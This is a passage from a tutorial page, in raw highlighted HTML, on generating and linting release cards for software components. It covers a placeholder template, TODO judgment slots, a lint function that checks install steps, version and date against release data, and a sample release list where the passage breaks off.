&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  &amp;#x3C;p class=&quot;nameplate&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{component}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; v&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{version}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; · &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{published}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&amp;#x3C;/p&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  &amp;#x3C;h1&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{headline}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&amp;#x3C;/h1&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  &amp;#x3C;p class=&quot;standfirst&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{standfirst}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&amp;#x3C;/p&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  &amp;#x3C;code class=&quot;cmdbar&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{install_1}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&amp;#x3C;/code&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  &amp;#x3C;code class=&quot;cmdbar&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{install_2}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&amp;#x3C;/code&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  &amp;#x3C;blockquote class=&quot;refusal&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{refusal}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&amp;#x3C;/blockquote&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;  &amp;#x3C;p class=&quot;proof&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{proof}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&amp;#x3C;/p&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&amp;#x3C;/article&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# Judgment slots. Nothing on disk answers these, so the scaffold marks them&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# rather than guessing, and the lint refuses a card that still carries one.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;JUDGMENT &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;headline&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;TODO headline with one signature pivot&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;standfirst&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;TODO one sentence on what this is for&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;refusal&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;TODO quote the skill&apos;s own refusal, do not paraphrase it softer&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;    &quot;proof&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;TODO one figure you COUNTED today from the artifact&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; scaffold&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(facts: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;dict&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) -&gt; &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;str&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; TEMPLATE.format(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;        example_marker&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;card-real&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;        component&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;facts[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;component&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;        version&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;facts[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;version&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;        published&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;facts[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;publishedAt&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;        install_1&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;facts[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;installSteps&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;][&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;        install_2&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;facts[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;installSteps&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;][&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;],&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        **&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;JUDGMENT,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    )&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Writing the instruction into the placeholder is worth the extra characters. “TODO
headline” tells you a slot is empty; “TODO quote the skill’s own refusal, do not
paraphrase it softer” tells you what a correct answer looks like, at the moment
you are about to write a wrong one. The placeholder is the only documentation
anybody reads, because it is the only documentation that appears in front of
them while they work.&lt;/p&gt;
&lt;h2&gt;Gate the composed card&lt;/h2&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&quot;&quot;The gate. Runs on the composed card, before anything renders.&quot;&quot;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; __future__ &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; annotations&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; re&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; lint_card&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(html: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;str&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, facts: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;dict&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;) -&gt; list[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;str&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    findings &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; []&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;    # 1. No judgment slot may ship unfilled.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &quot;TODO&quot;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; html:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;        left &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; re.findall(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;r&quot;TODO[^&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;\&quot;]*&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, html)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;        findings.append(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{len&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(left)&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; judgment slot(s) still marked TODO: &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;left[&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!r&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;    # 2. The demo card must never ship as somebody&apos;s release.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; &apos;id=&quot;card-example&quot;&apos;&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; html:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;        findings.append(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;this is the example card, not a real one&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;    # 3. Both install steps, or the path it advertises does not work.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    shown &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; html.count(&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;class=&quot;cmdbar&quot;&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; shown &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;&amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; len&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(facts[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;installSteps&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;        findings.append(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;shows &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;shown&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; install step(s), needs &lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{len&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;(facts[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&apos;installSteps&apos;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;])&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;    # 4. Every fact slot must match the artifact, not something retyped near it.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    for&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; label, value &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; ((&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;version&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, facts[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;version&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]), (&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;date&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, facts[&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;publishedAt&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;])):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;        if&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; value &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;not&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt; in&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; html:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;            findings.append(&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;f&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;{&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;label&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt; {&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;value&lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;!r&lt;/span&gt;&lt;span style=&quot;color:#FFC799&quot;&gt;}&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt; from the release is not on the card&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; findings&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Check 3 is there because of a real failure. The card originally advertised a
single install command, and that command does nothing on its own: the
marketplace has to be added first. One line, correct in isolation, describing a
path that does not work. That is precisely the failure the facts script exists
to prevent, arriving through the half of the install path the script was not
surfacing yet.&lt;/p&gt;
&lt;p&gt;Check 2 exists because the template ships with an example card, and an example
that can render as somebody’s release eventually will.&lt;/p&gt;
&lt;h2&gt;Run it&lt;/h2&gt;
&lt;pre class=&quot;shiki vesper&quot; style=&quot;color:#FFF&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; facts &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; build_facts, latest_release, semver_key&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; scaffold &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; scaffold&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; cardlint &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; lint_card&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# Stand-in for `gh release list --repo &amp;#x3C;slug&gt; --limit 200 --json&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# tagName,publishedAt,isDraft,isPrerelease`.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;RELEASES &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    {&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;tagName&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;widget-v0.9.0&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;publishedAt&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;2026-07-02T10:00:00Z&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;isDraft&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: False, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;isPrerelease&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: False},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    {&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;tagName&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;widget-v0.10.0&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;publishedAt&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;2026-08-04T09:12:00Z&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;isDraft&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: False, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;isPrerelease&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: False},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    {&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;tagName&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;widget-v0.11.0&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;publishedAt&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;2026-08-05T09:00:00Z&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;isDraft&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: True, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;isPrerelease&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: False},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;    {&lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;tagName&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;gadget-v3.1.0&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;publishedAt&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;2026-08-05T11:00:00Z&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;isDraft&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: False, &lt;/span&gt;&lt;span style=&quot;color:#99FFE4&quot;&gt;&quot;isPrerelease&quot;&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt;: False},&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#8B8B8B94&quot;&gt;# 1. Sorting tags as text picks the wrong one.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#FFF&quot;&gt;published &lt;/span&gt;&lt;span style=&quot;color:#A0A0A0&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#FFF&quot;&gt; [&lt;/span&gt;&lt;/span&gt;
